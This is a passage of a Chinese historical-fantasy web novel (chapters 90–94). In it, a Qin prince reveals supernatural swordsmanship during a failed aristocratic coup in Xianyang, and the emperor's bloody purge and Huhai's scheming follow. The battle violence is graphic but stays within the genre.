西城门处,赵璋正带人猛攻城门。
突然墙头火把齐明,蒙毅冷笑着现身:
“赵老,别来无恙啊?”
箭雨倾泻而下。
赵璋眼睁睁看着亲卫被钉死在城门上,一支羽箭穿透他的膝盖!
他跪地抬头,却见城头架起了数十架**车!
“不——!”
凄厉的惨叫被**箭破空声淹没。
三支丈余长的巨**将他钉在城门,鲜血顺着“咸阳”二字缓缓流淌!
……
南城门,孟邺听到四面响起的喊杀声,老脸煞白。
他颤抖着摸出鸠毒,却被一箭射穿手腕。
抬头望去,王贲手持强弓,玄甲上溅满鲜血。
“老匹夫,”
王贲冷笑,“我父亲让我代他向你问好。”
北门更惨,死士们刚冲到城门就踩中了陷阱。
地面突然塌陷,数十人坠入深坑。
火油倾泻而下,蒙家军冷漠地投下火把。
惨叫声中,焦臭味弥漫夜空!!
不到半个时辰,四门伏尸遍地。
蒙恬站在城头,看着最后一支叛军被铁骑碾碎。
他擦了擦剑上血迹,对亲卫道:“去禀报陛下和六公子,城门已净。”
第91章 原来那位绝世高手,竟然是六公子!
而与此同时。
夜色如墨,狂风骤起。
六公子府外,黑压压的兵士如潮水般涌来,刀剑寒光在月光下连成一片森冷的银河!
暗处。
数十名罗网**蛰伏在阴影中,面具下的眼睛闪烁着嗜血的光芒。
赢子夜负手立于庭院中央,玄色长袍在风中猎猎作响。
他望着府外越来越近的火把长龙,嘴角勾起一抹讥诮的弧度:
“呵……这般阵仗,倒是看得起本公子。”
话音未落,第一支羽箭已破空而来!
“咻——”
箭矢在距离赢子夜三尺之处突然凝滞,仿佛撞上一堵无形气墙。
庭院假山后,少司命紫发飞扬,纤纤玉指轻抬,万千绿叶凭空浮现,将后续箭雨尽数绞碎。
“有意思。”
晓梦从回廊缓步而出,秋水明眸中闪过一丝兴味。
她广袖轻拂,一道无形气劲横扫而出,府门外数十名兵士顿时如遭雷击,吐血倒飞。
杀戮,就此展开!
罗网**终于动了。
夜风突紧,杀意如潮!
二十名天字二等**倏然现身,宛若夜鬼,一瞬间从四面八方扑来,刀锋森冷,泛着幽蓝毒光。
他们身法诡异,动作无声无息,却又快若雷霆,眨眼便逼至近前!
首当其冲的三人更是一式三连,直取赢子夜咽喉、心口、丹田三处死穴,杀机密不透风,配合天衣无缝!
但下一刻,天地骤然一震。
“蝼蚁。”
赢子夜语气平淡,眼皮都未曾抬一下。
“铮——!”
剑鸣不从鞘中,而自九霄之上传来!
瞬息之间,整座咸阳城内所有佩剑齐颤,章台宫中供奉的定秦剑发出嘶啸龙吟,天际风云激荡。
漫天星月被压下一线,一道浩瀚剑光如银河倒垂,自天穹之巅垂落人间!
那剑光如龙,光华万丈,仿佛要将整片夜空撕裂!
三名扑杀而来的**尚在半空,便被剑光贯体穿心,未及发出半点哀鸣,瞬间化作血雾!
紧接着,月光洒落,一道身影悄然自天穹现身。
衣袍无风而动,黑发如瀑,长身玉立。
他负手而立,身后星辉簇拥,银河倒挂,眉目间冷若霜雪,仿若天上谪仙下凡尘。
“那是……”
一名黑衣**眼神剧震,声音带着难以置信的颤意。
“是赢子夜!是他!!!”
“不!怎会这样?!”
“剑来。”
赢子夜右手虚握,剑光轰然凝聚,化作一柄通体晶莹剔透、流转星辰之辉的长剑,缓缓落入他掌中。
剑锋未动,四周空间已生出道道涟漪,仿佛连天地法则都要避让其锋。
剩下的十余名**霎时踉跄止步,身躯僵冷如冰,脚下寸步难移。
他们忽然意识到,他们此刻面对的,不是凡人,不是敌人。
而是一个能够随时决定他们生死的…
天命!!!
……
十八公子府内,胡亥手中的青铜蜘蛛“啪”地碎裂!!
他猛地站起,甜腻的笑容僵在脸上:
“这…这是……”
透过铜镜术法,他清楚地看到那道通天剑光和那谪仙般的人影,脸色瞬间惨白。
“撤!全部灭口!”
他尖声叫道,声音扭曲得不成人调:
“立刻传讯陇西,烧掉所有密函!一个活口都不能留!”
……
章台宫高阁上。
始皇帝手中的玉杯“咔嚓”碎裂。
这位横扫六合的帝王第一次露出震惊之色!
死死盯着天穹之上那通天彻地一般的身影!
身旁,李斯更是踉跄后退,险些跪倒在地:
“六公子?这…这怎么可能……”
……
而六公子府内,战斗已臻白热化。
少司命双手结印,万千绿叶化作夺命利刃,将五名罗网**钉死在墙上。
她紫眸中闪过一丝讶异,忍不住回头看向庭院中央那道执剑而立的身影。
晓梦更是直接停手,秋水般的眸子里泛起异彩:
“你终于不藏了。”
赢子夜没有回应。
他只是一挥长剑,剑势如惊雷骤雨,撕裂夜幕,掀起一场死亡风暴!
第一剑挥出,剑光如银龙盘旋,疾速斩落。
十丈之外,三十名重甲士兵仿佛被雷击,瞬间腰斩,鲜血如瀑,喷洒至高墙,映照得夜色如血海翻腾!
第二剑挥落,剑锋化作一道幽冥银蛇,疾刺五名试图偷袭的地字**。
头颅被锋芒瞬间切割,断颅飞舞,鲜血凝结在他们惊恐的眼眸中,仿佛凝固了时间!!
第三剑直指苍穹,剑光亘古横贯天际,如天河裂开,劈开云层!!!
三名罗网天字二等**猝不及防,被无形巨力撕裂成两截,残肢伴着血雨,簌簌坠落大地!
“这…这不是武功……”
一名幸存**浑身颤抖,步步后退,眼中尽是恐惧与绝望,颤声说道:
“这是…仙术……”
一道道贯穿天地的剑光随即闪现,犹如天外神雷轰然降临。
赢子夜的身影瞬间幻化,若谪仙降世,光华流转,长剑划破虚空,寒光闪烁!
他缓缓现身于**面前,气势如山河崩裂,剑锋轻描淡写地划过。
**的头颅腾空飞起,目光定格在那双深邃如星辰的眼睛中,仿佛看到永恒的寂灭与无尽的苍穹!
天地间只剩长剑落刃的余韵,和那一瞬间如梦如幻的寂静。
……
府外,残余的兵士开始溃逃。<
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br>他们丢下兵器,哭喊着四散奔逃。
太可怕了!
这根本不是凡人能够抗衡的力量!
暗处,最后几名罗网**对视一眼,毫不犹豫地挥刀自刎。
鲜血喷涌而出,他们的尸体迅速化作血水,连半点痕迹都不留!
赢子夜收剑而立,衣袍纤尘不染。
少司命飘然落在他身侧,紫发在夜风中轻舞:
“需要我去追吗?”
“不必。”
赢子夜淡淡道:“让他们再蹦跶几日。”
少司命默然,裙摆的银杏叶无风自动。
她望向赢子夜,紫眸中闪过一丝难以察觉的波动。
那一夜的通天法相,还有最初的那一道谪仙天影,此刻想来,恐怕也都是他……
哼,藏得真深。
晓梦漫步而来,饶有兴趣地打量着他:
“老实说,现在你什么境界?”
“陆地神仙?还是…更上一层?”
“东皇太一若是知道咸阳藏着你这号人物,怕是要睡不着觉了。”
赢子夜抬头望了一眼远处点点火光,轻笑一声:
“看来,今晚很多人都要睡不着了。”
……
蜃楼。
观星台上。
东皇太一的黑袍无风自动。
水晶球中映照出的那道通天剑光和人影渐渐消散。
他却仍保持着双手虚按的姿势,面具下的呼吸微不可察地急促了一分。
“果然是他。”
月神轻抚纱巾,紫纱下的双眸泛起异彩,
“那日占星,紫微帝星旁突然出现的辅星……”
星魂突然狂笑起来,少年面容因兴奋而扭曲,指尖的幽蓝气刃不受控制地暴涨:
“彩!!”
“好一个赢子夜!”
他猛地转身,衣袂翻飞间已跃上栏杆,
“这般对手,岂能错过?”
“站住。”
东皇太一的声音不轻不重,却让星魂硬生生刹住脚步。
水晶球中再次浮现六公子府景象,那道残留的剑气竟将云层都劈开一道裂痕。
“现在去,你想让阴阳家与帝国为敌?”
大司命红唇微张,指尖的骷髅血印忽明忽暗:
“而且那剑气…已近乎天道。”
“继续观察。”
东皇太一黑袍一展,整个人化作黑雾消散,只余余音回荡:
“这场戏,才刚开始。”
星魂不甘地握拳,气刃将栏杆灼出焦痕,眼中战意如火。
……
胡亥府内,最后一名传讯的死士咽下了**。
赵高面色阴沉地烧毁着最后一批密函,火光映照着他惨白的脸。
铜镜中,那道通天剑光的影像渐渐消散,却在他们心中留下了永远无法磨灭的阴影。
这一夜,咸阳城无人入眠。
第92章 凡谋逆者,夷三族!!!
夜色如渊,皇城沉寂。
卫铮勒马立于宫门前,铁甲在月光下泛着冷光。
他深吸一口气,握紧了手中长戈,指节因用力而发白。
身后,三千氏族死士静默如铁,唯有兵刃偶尔反射出点点寒星!!
“尉老,”卫铮声音沙哑,
“今夜过后,要么功成名就,要么…”
“要么马革裹尸!”
尉林打断他,苍老的面容上青筋暴起。
他猛地抽出佩剑,剑锋在月光下划出一道凄厉的弧光。
“儿郎们!随我杀入皇城!!!”
“杀——!”
吼声震碎夜的寂静。
三千死士如潮水般涌向宫门,戈矛组成的钢铁洪流撞击在厚重的宫门上,发出震耳欲聋的轰鸣。
卫铮一马当先,长戈横扫,将两名守门禁军拦腰斩断,鲜血喷溅在他狰狞的面甲上。
“破门!”
随着一声巨响,宫门轰然洞开。
卫铮眼中闪过一丝狂喜,长戈前指:
“直取章台宫!”
氏族军队如决堤洪水般涌入皇城。
起初势如破竹,沿途禁军节节败退。
尉林白发飞扬,手中长剑每一次挥动都带起一片血雨。
他狂笑着砍倒一名禁军什长:“**无道!今日就是他的死期!”
然而,当他们冲上太和广场时,异变陡生!
“轰隆隆——”
大地猛然震颤,平整的青石板骤然塌陷!
前排数百名氏族兵马猝不及防,惨叫着坠入深坑!
坑底寒光森然!
竟是万余根倒插的长矛,如丛林般森立,寒意逼人!
下一刻,鲜血喷溅,骨骼碎裂之声混着凄厉惨叫,响彻天穹!
“有埋伏——!!!”
卫铮怒吼未落,整座太和殿前倏然亮起千盏火把!
轰!
两侧宫墙同时开启密门,黑甲禁军齐步踏出!
那一刻,天地仿佛凝固。
森然铁甲在火光中泛起冷冽寒芒,数千黑甲将士列阵而出,无一人发声,却如死神降世。
重甲压地,刀枪齐出,整齐得宛如一个活的杀阵!
他们的脚步踏在石阶上,每一步都如同战鼓轰鸣,踏碎空气,也踏碎来敌最后的侥幸。
“黑…黑甲军……”
有氏族将领声音发颤,仿佛看见了地狱大门缓缓开启。
而在队列最前方,一名高大统领缓缓举起燃火长戟,玄甲覆面,冷光森森:
“奉诏清宫——”
“——格杀勿论!”
“放箭!”
一声令下,箭雨倾泻而下。
不同于普通羽箭,这些箭矢箭头呈三棱状,带着倒钩,穿透铠甲如穿薄纸。
氏族士兵成片倒下,鲜血很快汇成小溪,在青石板上蜿蜒流淌。
“结阵!结阵!”
尉林声嘶力竭地吼叫,但为时已晚。
广场四周突然开启数十道暗门,全副武装的黑色禁军如潮水般涌出。
他们三人一组,盾牌相连形成铜墙铁壁,长矛从缝隙中刺出,每一次突刺都精准带走一条性命。
卫铮怒吼着冲向禁军大阵,长戈舞成一片银光。
三名禁军应声倒地,但立刻有更多人补上缺口!
他感到右臂一痛,一支**箭已穿透臂甲。
鲜血顺着铁甲纹路滴落,他却浑然不觉,反而杀得更加疯狂。
“卫氏儿郎!随我杀出一条血路!”
数十名亲卫拼死跟上,却在禁军严密的方阵前接连倒下。
一名年轻士兵被长矛贯穿腹部,却仍死死抱住矛杆,为卫铮创造机会。
卫铮趁机突入阵中,长戈横扫,五名禁军咽喉喷血。
但下一刻,四面八方的长矛同时刺来!
卫铮仓促格挡,仍被三支长矛刺中肩膀和大腿。
他单膝跪地,鲜血从伤口汩汩涌出。
“将军!”一名亲卫扑来相救,却被乱刀砍成肉泥。
尉林的情况同样糟糕。
他带领的侧翼部队被禁军骑兵冲得七零八落。
战马嘶鸣中,他看到黑色重骑兵如墙推进,马槊每一次突刺都带起一蓬血花。
氏族士兵的惨叫与求饶声响彻夜空。
“老匹夫!投降吧!”禁军统领立于高墙之上,声音冰冷。
“陛下早已洞悉尔等阴谋!!”
尉林吐出一口血沫,长剑指向统领:
“休想!”
他猛地吹响号角,这是最后的信号,埋伏在宫外的死士应该同时发动总攻!
然而,回应他的只有死一般的寂静。
“找他们吗?”
禁军统领冷笑挥手,数十颗血淋淋的人头被抛下城墙,在青石板上滚出老远。
尉林认出其中几个正是他安排在侧门的亲信。
绝望如潮水般涌来……
尉林环顾四周,三千死士已所剩无几。
广场上尸横遍野,残肢断臂与破碎的兵器混杂在一起。
黑色禁军却越聚越多,玄甲反射着冰冷月光,如同移动的钢铁城墙。
“卫铮!我们——”
话音未落,一支羽箭精准射穿尉林持剑的手腕!
他惨叫一声,长剑坠地。
抬头望去,宫墙上不知何时已站满了弓箭手,箭尖寒光如星。
卫铮那边也到了绝境。
他背靠背与最后十几名亲卫死战,脚下堆积着数十具禁军尸体。
但黑色潮水无穷无尽,每一次呼吸都变得更加艰难。
“将军…我们……”
一名亲卫话未说完,就被长矛刺穿胸膛。
卫铮突然狂笑起来,笑声中带着无尽的悲凉与疯狂:“好!好一个始皇帝!好一个请君入瓮!”
他猛地扯下破碎的面甲,露出满是血污的脸!
“但想让我跪地求饶?做梦!!!”
说罢,他竟主动冲向禁军方阵!
长戈舞成一片银光,所过之处血花绽放。
禁军一时竟被这不要命的打法逼退数步。
但人力终有尽时。
一支冷箭突然射中卫铮后心,他身形一晃。
紧接着三支长矛同时刺入他的腹部!
“呃啊——!”
卫铮怒吼着折断矛杆,反手将持矛禁军斩杀。
但更多的长矛刺来,将他钉在原地。
鲜血从嘴角涌出,他死死盯着章台宫的方向,用尽最后力气嘶吼:“**…你不得好死……!”
话音未落,一柄长剑已斩下他的头颅。
无头尸体缓缓跪倒,最终扑倒在血泊中。
尉林目睹这一切,老泪纵横。
他颤抖着捡起长剑,想要自刎,却被突然飞来的**箭射穿手腕。
“陛下有令,”禁军统领冷冰冰的声音传来。
“留活口。”
最后的抵抗结束了。
幸存的氏族士兵纷纷丢下兵器,跪地求饶。
黑色禁军开始有条不紊地清理战场,将尸体一具具拖走。
鲜血在青石板上汇聚成河,
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倒映着天边初现的曙光。
尉林被按倒在地,脸颊紧贴着冰冷的地面。
他模糊的视线中,最后看到的是一双黑色玄鸟纹靴缓步走来,以及那随风轻扬的十二冕旒。
始皇帝俯视着这个曾经的老臣,眼中没有愤怒,只有无尽的冷漠。
“押下去。”
简单的三个字,为这场血腥兵变画上了**。
朝阳终于升起,第一缕阳光照在太和广场上。
黑玉琉璃瓦与未干的血迹形成刺目的对比,仿佛在无声诉说着这个血色之夜的惨烈。
禁军们沉默地列队离去,只留下满地残骸证明这里曾发生过怎样一场惊天动地的厮杀。
……
黎明。
第一缕曙光刺破云层。
赢子夜与蒙恬、王贲踏过宫门前尚未干涸的血泊。
玄色朝服下摆沾染着暗红,却不见半点匆忙。
三人步伐沉稳,靴底碾过断裂的箭矢与残破的兵刃,发出细碎的声响。
章台宫前,始皇帝负手而立。
十二冕旒垂下的玉珠纹丝不动,玄色帝袍上金线绣就的日月星辰在晨光中若隐若现。
他脚下是跪伏在地、面如死灰的尉林。
老将的铠甲破碎,白发被血黏在额前,与昨日朝堂上趾高气扬的模样判若两人。
“儿臣参见父皇。”
赢子夜躬身行礼,声音平静得仿佛在禀报一件微不足道的小事。
“咸阳四门叛乱已平,氏族兵士尽诛。”
蒙恬铁甲铿锵,单膝触地。
“臣已肃清宫城,斩首卫琮以下叛逆三百七十二人。”
王贲嘴角还带着未擦净的血迹。
“关中二十六姓参与谋逆者,皆已记录在册。”
始皇帝没有立即回应。
他缓缓抬头,目光穿透渐渐散去的晨雾,望向远处升起的朝阳。
染血的广场上,禁军正将尸体一具具抬走,黑甲上凝结的血痂在阳光下泛着暗光。
“蒙恬。”
帝王终于开口,声音不大却让在场所有人脊背一紧。
“朕记得,卫氏祖宅在蓝田?”
“回陛下,正是。”
始皇帝轻轻颔首,指尖摩挲着腰间定秦剑的剑柄。
“那就从蓝田开始。”
他顿了顿。
“凡谋逆者,夷三族。”
这句话说得轻描淡写,却让跪在地上的尉林剧烈颤抖起来。
老将挣扎着想要说话,却被禁军一脚踩住后背,脸重重磕在青石板上。
赢子夜抬眼望向父皇,恰好对上那双深不见底的眸子。
帝王眼中没有平叛后的喜悦,只有一片令人心悸的平静,仿佛昨夜的血战不过是拂去衣袖上的一粒尘埃。
“儿臣以为。”
赢子夜轻声道。
“当速发海捕文书,防止余孽流窜。”
始皇帝嘴角微不可察地扬起。
“准。”
晨风骤起,吹散最后一缕血腥气。
宫檐下的铜钟突然震响,浑厚的钟声回荡在咸阳上空。
新的一天开始了,而这座帝都,将永远记住这个流血的黎明。
禁军押着尉林退下时,老将突然发出一声凄厉的哀嚎。
“陛下!老臣——”
始皇帝连眼皮都未抬一下,只是轻轻摆了摆手,如同驱赶一只烦人的蚊蝇。
这个动作比任何酷刑都更令人绝望,尉林顿时瘫软如泥,被拖行着离开广场,在青石板上留下一道长长的血痕。
第93章 与罪臣合谋者,乃是十八公子胡亥!
旭日初升。
咸阳宫的青石地面泛着冷光。
昨夜的血迹已被清水冲刷殆尽,可那股铁锈般的腥气却顽固地萦绕在宫墙之间,混着晨露的湿气钻入每个朝臣的鼻腔。
百官踩着犹带水渍的石阶,官靴踏过缝隙间残留的暗红,每一步都像踩在未干的鲜血上。
李斯从章台宫回来,垂首走在最前,丞相朝服的广袖微微颤抖。
他眼角余光瞥见廊柱上一道新鲜的刀痕,深达寸许,显然昨夜这里经历过一场恶战。
身后几名文官更是面如土色,其中一人不慎踩到半截断箭,惊得险些踉跄跌倒。
“小心台阶。”
蒙恬的声音突然从侧面传来。
这位刚经历血战的将军甲胄未卸,玄铁护腕上还沾着些许血渍。
他伸手虚扶了一把,却让那文官抖得更厉害。
那手上分明还带着杀戮后的戾气!
穿过宫门时,所有人都闻到了那股味道。
不是寻常的血腥,而是混合了内脏、铁器和恐惧的死亡气息。
尽管尸体早已搬走,可空气中飘散的腥甜却挥之不去。
几名年轻郎官忍不住以袖掩鼻,却被王贲冷冷瞪了一眼,慌忙放下手。
朝阳渐渐升高,将众人的影子拉长投映在宫墙上。
那些影子扭曲变形,像极了昨夜在此厮杀的亡魂。
淳于越的白须在晨风中轻颤,他盯着地面某处突然僵住。
那里有一片未被完全洗净的血迹,正随着光线变化若隐若现。
远处传来宦官的唱名声,百官慌忙列队!
无人交谈,连呼吸都刻意放轻。
偶尔有甲胄碰撞的声响,便引得众人侧目。
在这诡异的寂静中,不知是谁的玉佩突然坠地,清脆的碎裂声惊起一群乌鸦,黑压压地从宫檐掠过!
当钟声终于响起时,所有人都下意识屏住了呼吸。
沉重的宫门缓缓开启,露出里面幽深的甬道。
那里烛火摇曳,将朝臣们的影子拉得更长。
仿佛有无数冤魂正附在背后,随着他们一步步迈向那至高无上的权力中心……
……
晨钟九响,百官肃立。
始皇帝端坐龙榻之上,十二冕旒垂下的玉珠纹丝不动。
他指尖轻叩鎏金扶手,每一声脆响都像敲在群臣心头。
殿内静得可怕,连呼吸声都清晰可闻。
“昨夜……”帝王突然开口,声音不疾不徐,“诸位可曾听到什么动静?”
李斯手中的玉笏微微发颤。
他余光瞥见蒙恬甲胄上未及擦拭的血迹,喉结滚动了一下。
右侧文官队列中,有人双腿一软,竟直接跪倒在地。
“看来都听见了。”
始皇帝轻笑一声,那笑声却让殿内温度骤降。
他缓缓起身,玄色帝袍上的金线玄鸟纹在晨光中游动,
“卫氏、孟氏、尉氏、赵氏……二十六姓联合作乱,意图逼宫。”
“陛下明鉴!”
被押上殿的尉林忽然高呼一声,挣扎着跪伏在地,额头砸在玉阶之上,鲜血顿时渗出。
“臣冤!尉家从无异心!”
“家父早亡,臣更无实权——”
“此番之事,皆是被卫铮等人胁迫,臣实是不得已而为之!!!”
“啪!”
一块染血的玉珏重重摔在他面前,玉声清脆,殿内死寂。
始皇帝负手而立,俯视着他,眼神冷冽如霜:
“这是从卫铮府上搜出的。”
“上面刻着二十六姓合谋血誓……尉林,你要不要仔细看看,署名之列,可有尉氏?”
尉林颤抖着捡起玉珏,脸色瞬间惨白,喉头滚动,竟一句话也说不出来。
而殿上群臣无不面色凝重,目光如刀。
“父皇!”
胡亥突然出列,稚嫩的脸上满是愤慨,
“儿臣以为,谋反大罪,当夷三族!”
他甜腻的嗓音在殿内格外刺耳。
“这些乱臣贼子……”
“胡亥公子!”
尉林突然嘶吼,
“骊山废矿的三千甲胄是谁提供的?上月密会又是谁指使老夫……”
殿内哗然!!!
李斯猛地抬头,却见胡亥脸上天真无邪的笑容丝毫未变。
“儿臣惶恐。”
胡亥眨着无辜的眼睛,
“这么大的罪名,儿臣实在担不起啊。”
始皇帝的目光在幼子身上停留片刻,深不可测。
“陛下。”
李斯深吸一口气出列。
“事关国本,纵然牵扯公子……为证清白,臣请严查。”
胡亥突然笑出声来,那笑声甜得渗人:
“查!当然要查!”
他转身面对尉林,眼中闪过一丝阴毒,
“不仅要查,还要查个水落石出!”
尉林面如死灰。
他终于明白,他们不过是一枚枚弃子。
殿外忽然刮进一阵冷风,吹得烛火剧烈摇晃,将众人的影子扭曲成张牙舞爪的怪物,映在朱漆殿柱上,仿佛昨夜厮杀的亡魂来索命一般。
忽传来一阵急促的脚步声。
一名郎官踉跄闯入,甲胄上还带着烟熏火燎的痕迹。
“报——!”
“陇西急报!孟氏、赵氏祖宅同时起火,宗祠、密阁尽数焚毁!”
玉阶下被铁链锁着的尉林猛然抬头,花白胡须剧烈颤抖:
“不…不可能……”
他浑浊的老眼突然迸发出骇人的精光,死死盯着胡亥:
“是你!是你这小……”
“放肆!”
始皇帝一声冷喝,整个大殿的空气都为之一滞!
尉林如遭雷击,佝偻的身躯被无形威压硬生生按跪在地,额头抵在冰冷的金砖上,发出“咚”的闷响。
胡亥委屈地扁了扁嘴,眼中泛起水光:
“父皇明鉴,儿臣昨夜一直在府中,如何能……”
“够了。”
始皇帝抬手打断,目光扫过殿下噤若寒蝉的百官:
“尉林,朕念你曾随王翦伐楚,留你全尸。”
“至于昨夜,还有一些未遵守全城**令者,视同谋逆……”
他指尖轻敲扶手:
“夷三族!”
这个轻描淡写的动作让十余名官员直接瘫软在地。
他们都是与叛乱氏族有姻亲的朝臣。
有人裤裆洇出深色水渍,在殿砖上缓缓蔓延。
“陛下!臣冤枉啊!”
一名大臣爬出队列,玉笏“啪”地断成两
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截:
“臣昨夜确实出府,但只是去……”
蒙恬突然迈出一步,铁靴踏地的声响让那人瞬间噤声。
大将军从怀中取出一卷竹简,上面密密麻麻记录着昨夜各府动向。
“李仓。”他垂眸冷声道,“戌时之后,你府后门开过三次,皆无呈报。”
“有一驾马车未挂秦徽,绕经犬道入尉宅。”
“车上八人,六人为你李家庶奴,另两人,身着赵氏旧制内服。”
他抬头,目光如刀,直视对方:
“你当我朝法律是废的么?!”
那人脸色惨白,扑通一声跪倒在地,连连磕头:
“陛下恕罪!臣、臣只是探望母亲,不知怎会……”
“你母家赵氏,与尉林是姻亲。”
始皇帝语气冷淡,似是陈述,不带一丝波澜:
“竹简上有笔录,人证物证俱在。”
说完,他看都没再看那人一眼:
“拖出去,腰斩。”
禁军应声而上,那名名叫李仓的大臣当场瘫倒,被拖行时仍嘶吼不休,声声惨绝人寰!!
殿内鸦雀无声,唯有铁靴踏地与哭声回荡在金砖之间。
帝王的目光落在胡亥身上。
十八公子立即乖巧地伏地:
“儿臣宽性无律,请父皇责罚。”
“回府研读《秦律》,自省半年。”
始皇帝淡淡道。
胡亥瞳孔微缩,随即重重叩首:“儿臣领命。”
殿内重归寂静,唯有血腥味越发浓重。
始皇帝缓缓起身,玄色帝袍上的玄鸟纹绣无风自动:
“科举制,即日推行。”
他目光所及之处,无人敢与之对视:
“有异议者,可当面奏来。”
定秦剑突然出鞘三寸,寒光映照在每个人脸上。
“敢凶抗者……”
“关中氏族,便是下场!!!”
满朝寂静中。
赢子夜缓步出列。
玄色朝服上的暗纹在殿内烛火下若隐若现。
他拱手行礼时,袖口露出的手腕上还残留着一道未愈的剑痕烙印——
那是昨夜斩杀罗网**时留下的。
“父皇。”
他的声音清朗如玉磬:
“儿臣听闻桑海之地正举办圣学之会,诸子百家齐聚。”
“儿臣斗胆请旨,前往一观。”
殿内顿时响起细微的骚动。
李斯眉头微蹙,手中玉笏不自觉地紧了紧。
这位丞相也听说了桑海城此刻的暗流涌动。
小圣贤庄、农家、甚至…墨家余孽,各方势力盘根错节。
始皇帝的目光在六公子身上停留片刻。
冕旒垂下的玉珠微微晃动,遮住了帝王眼中一闪而过的深意。
“准。”
简简单单一个字,却让殿内气氛为之一变。
蒙恬与王贲交换了一个眼神,而站在角落的赵高则微不可察地缩了缩脖子。
“退朝。”
随着宦官的唱喝,百官如蒙大赦般躬身退下。
赢子夜转身时,唇角勾起一抹几不可察的弧度。
殿外阳光正好,将他的影子拉得很长,一直延伸到那摊尚未干涸的血迹上——
那是方才被拖出去的罪臣留下的。
第94章 扶苏:吾问你,儒、墨两家可有合谋
退朝后。
章台宫内,青铜兽炉吐着袅袅青烟。
赢子夜垂手立于玉阶之下,玄色衣袍上的暗纹在烛火中若隐若现。
他目光平静地望向御座上的身影,指尖却不着痕迹地摩挲着袖中那枚温润的玉简。
那里记载着他精心准备的解释。
始皇帝正在批阅奏章,朱笔在竹简上勾画的沙沙声在空旷的大殿内格外清晰。
良久,他搁下笔,十二冕旒的玉珠微微晃动:
“昨夜那一剑,很漂亮。”
赢子夜呼吸一滞。
他设想过无数种开场,却唯独没料到会是这般直白。
殿角的漏壶滴水声突然变得震耳欲聋。
“儿臣……”
“不必说。”
始皇帝抬手,玄色广袖带起一阵微风:
“当年朕在邯郸为质时,也藏着不少本事。”
他指尖轻叩案几,鎏金护甲与青铜相击,发出清脆的声响:
“隐忍之道,你比朕强。”
窗外一阵风过,吹得宫灯摇曳。
赢子夜抬头,恰见父皇眼中闪过一丝他从未见过的神色——
那是一种近乎欣慰的锋芒!
如同藏在鞘中的定秦剑偶然露出的寒光!
“桑海城……”
始皇帝突然话锋一转,从案头拿起一卷泛黄的帛书:
“儒家、农家,还有墨家余孽,以及那些六国的孤魂野鬼。”
他轻轻一抛,帛书精准地落在赢子夜脚前:
“既然要展露锋芒,想必已经准备好应对这些麻烦了?”
赢子夜凝视着地上那卷标注着各方势力分布的帛图,忽然轻笑出声。
他弯腰拾起的动作行云流水,宽大的袖摆拂过玉阶,没有碰触到半分尘埃。
父子二人隔空对视。
殿外。
传来禁军换岗的甲胄碰撞声,惊起檐角铜铃一阵轻响。
始皇帝微微颔首,抬手挥退了正要进来添香的宫女。
宫灯将他们的影子投映在朱漆殿柱上,一坐一立,如两柄出鞘的利剑,在烛火中锋芒交错。
赢子夜指尖轻抚袖中玉简,目光沉静如水:
“儿臣此行,一为收拢百家之心,以科举制分化诸子。”
“二则……”
他略微停顿,殿内烛火忽的摇曳:
“近日得报,农家、项氏余孽勾结墨家,欲破噬牙狱。”
“咔——”
始皇帝掌下的青铜案几突然裂开一道细纹。
那双横扫六合的眼眸中,寒芒如朔北风雪般凛冽!
殿内温度骤降,连兽炉中的熏香都凝滞了一瞬。
“噬牙狱。”
帝王缓缓吐出这三个字,每个音节都裹挟着血腥气。
他忽然抬手,一道黑影破空而来。
赢子夜反手接住——
是枚玄铁令牌,正面阴刻着狰狞的睚眦,背面“黑冰”二字殷红如血。
令牌入手冰凉刺骨,竟隐隐有龙气缠绕!!
“父皇,儿臣……”
“拿着。”
始皇帝打断他,声音不重却不容置疑。
冕旒玉珠碰撞间,露出帝王半张冷峻的侧脸:
“你养的那些人,对付江湖草莽尚可。”
他指尖轻点令牌,一道暗芒闪过:
“黑冰台在桑海经营二十年,连儒家有几条密道都清楚。”
殿外突然雷声轰鸣,暴雨倾盆而下。
雨幕中隐约传来宫檐铁马叮当,如刀剑相击。
赢子夜凝视令牌片刻,忽的轻笑:
“儿臣倒是忘了,当年父皇灭楚时,黑冰台不过区区一支影子小队,却能一夜之间斩断郢都十六处粮脉,连楚王最后一条退路都没能踏上。”
他说着,将令牌收入怀中,玄色衣袖翻卷如云。
始皇帝眼底闪过一丝几不可察的赞许。
他转身望向暴雨中的咸阳城,帝袍上的金线暗纹在闪电照耀下如活物游动:
“记住,噬牙狱最底层的东西……”
话音渐低,湮没在一声震耳惊雷中!
赢子夜躬身退下时,瞥见父皇指尖凝聚的一缕黑气。
那是比黑冰台令牌更令人胆寒的杀意!!!
宫门在身后缓缓关闭,将满室龙威与血腥气尽数封锁。
暴雨打在他脸上。
却浇不灭…怀中令牌传来的刺骨寒意。
……
十八公子府。
密室中。
青铜灯盏的火光将胡亥稚嫩的脸庞映照得阴晴不定。
他跪坐在案前,手中竹简摊开着《秦律·谋逆篇》,可那双本该天真的眸子里,却翻涌着比墨汁还要浓稠的黑暗。
“哗啦——”
竹简被突然合上,在寂静的室内发出清脆的声响。
胡亥歪着头,指尖轻轻划过简牍上“夷三族”三个刺目的大字,嘴角勾起一抹甜腻的笑意:
“老师,你说六哥去桑海…真的只是为了那些酸儒吗?”
阴影中的赵高缓缓现身,苍白的面容在烛火下如同鬼魅。
他袖中滑出一卷绢布,上面密密麻麻记录着罗网密探送来的消息:
“据报,墨家余孽近日频繁出入小圣贤庄。”
“而噬牙狱的守军……已经换了三批。”
“噬牙狱?”
胡亥突然咯咯笑起来,声音清脆如孩童,却让室内的温度骤降:
“那里不是关着些……有趣的老朋友吗?”
他随手拿起案上的一枚青铜蜘蛛,指尖轻轻一按,蜘蛛腹部顿时弹出三根泛着蓝芒的细针。
赵高眼皮微跳:
“公子的意思是……”
“我在想啊……”
胡亥忽然凑近,烛火将他放大的瞳孔映照得如同深渊:
“要是噬牙狱的那些东西跑出来,六哥会不会……”
他做了个抹脖子的动作,又天真地眨眨眼:
“就像昨夜那些罗网的废物一样?”
窗外一道闪电劈过,照亮胡亥袖中滑出的瓷瓶。
与孟琰、卫桀此前服下的鸠羽之毒一模一样。
赵高额角渗出冷汗,他太清楚这位主子看似随意的每一句话背后,都藏着怎样的血腥。
“老奴这就去安排。”
赵高躬身退下时,瞥见胡亥正用银针蘸着酒水,在案几上画出一个诡异的图案——
那是噬牙狱的布局图。
暴雨拍打着窗棂
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,胡亥哼着童谣将银针一根根插在图案的关键位置。
当最后一根针没入“休门”方位时,他突然歪头问道:
“要是父皇知道…他最疼爱的六儿子死在桑海……”
